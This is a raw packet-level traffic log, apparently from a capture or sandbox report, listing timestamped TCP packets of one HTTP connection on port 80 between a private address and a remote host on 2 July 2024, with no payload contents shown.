Jul 2, 2024 22:52:32.535501003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535511017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535511017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535520077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535528898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535531044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535541058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535550117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535552025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535558939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535568953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535576105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535598040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535607100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535867929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535876989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535886049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535897017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535904884 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535907030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535917044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535923004 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.535927057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.535950899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536117077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536127090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536135912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536147118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536154032 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536155939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536175966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536195993 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536290884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536299944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536309958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536320925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536329985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536334038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536339998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536350012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536356926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536360979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536370039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536380053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536386013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536393881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536405087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536410093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536413908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536417007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536422968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.536439896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.536464930 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544289112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544327974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544336081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544392109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544437885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544449091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544456959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544467926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544498920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544511080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544575930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544586897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544595957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544606924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544610023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544629097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544637918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544640064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544651031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544660091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544661045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544676065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544689894 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544711113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.544881105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544889927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.544950962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545020103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545030117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545053005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545063019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545063019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545072079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545085907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545095921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545104980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545106888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545114994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545124054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545131922 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545135021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545145035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545156002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545162916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545166969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545176029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545181990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545187950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545192003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.545206070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.545229912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.563440084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.632853031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.632885933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.632895947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.632961035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.632986069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.632997036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633007050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633018970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633033037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633055925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633213997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633224010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633234024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633243084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633246899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633253098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633261919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633270979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633271933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633282900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633295059 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633310080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633481026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633491039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633501053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633510113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633519888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633521080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633528948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633543015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633552074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633574009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633584023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633594036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633605003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633613110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633615017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633625031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633625984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633635998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.633650064 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.633671999 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634072065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634082079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634090900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634099960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634109974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634111881 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634119987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634129047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634136915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634140015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634150028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634154081 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634160042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634171009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634180069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634185076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634190083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634200096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634207964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634210110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634218931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634221077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634237051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634258986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634545088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634555101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634565115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634573936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634582996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634592056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634605885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634682894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634692907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634702921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634711981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634718895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634720087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634728909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634738922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634746075 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634747982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634757996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634767056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634771109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634778976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634795904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634812117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634813070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634823084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634833097 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634843111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634851933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634857893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634860992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634870052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634879112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634887934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634887934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634896994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634907007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.634908915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634927034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.634936094 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.635699034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.635710001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.635719061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.635740995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.635760069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.639883041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.639893055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.639903069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.639911890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.639921904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.639940023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.639975071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640022993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640032053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640042067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640052080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640057087 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640060902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640070915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640079975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640081882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640103102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640120029 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640275955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640285969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640295982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640305996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640320063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640322924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640331030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640340090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640340090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640361071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640367985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640378952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640388966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640398979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640404940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640408993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640418053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640424967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640427113 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640438080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640448093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640460014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640503883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640573025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640590906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640600920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640610933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640610933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640620947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640630007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.640633106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640644073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.640666962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715326071 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715337992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715347052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715399027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715457916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715466976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715476990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715487003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715496063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715501070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715531111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715552092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715656996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715667009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715676069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715686083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715693951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715696096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715706110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715715885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715720892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715724945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715735912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715735912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715744019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.715771914 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.715790987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.716175079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716183901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716193914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716202974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716212988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716222048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716228008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.716233015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716242075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716250896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716259956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716267109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.716269016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716278076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716288090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716289997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.716296911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716305971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.716306925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716316938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716326952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.716341972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.716370106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.724890947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.724939108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.724947929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.724972963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.724998951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725055933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725065947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725075006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725084066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725096941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725141048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:32.725167036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725176096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725186110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725195885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725204945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:32.725217104 CEST	80	49712	77.221.149.185	192.168.2.5
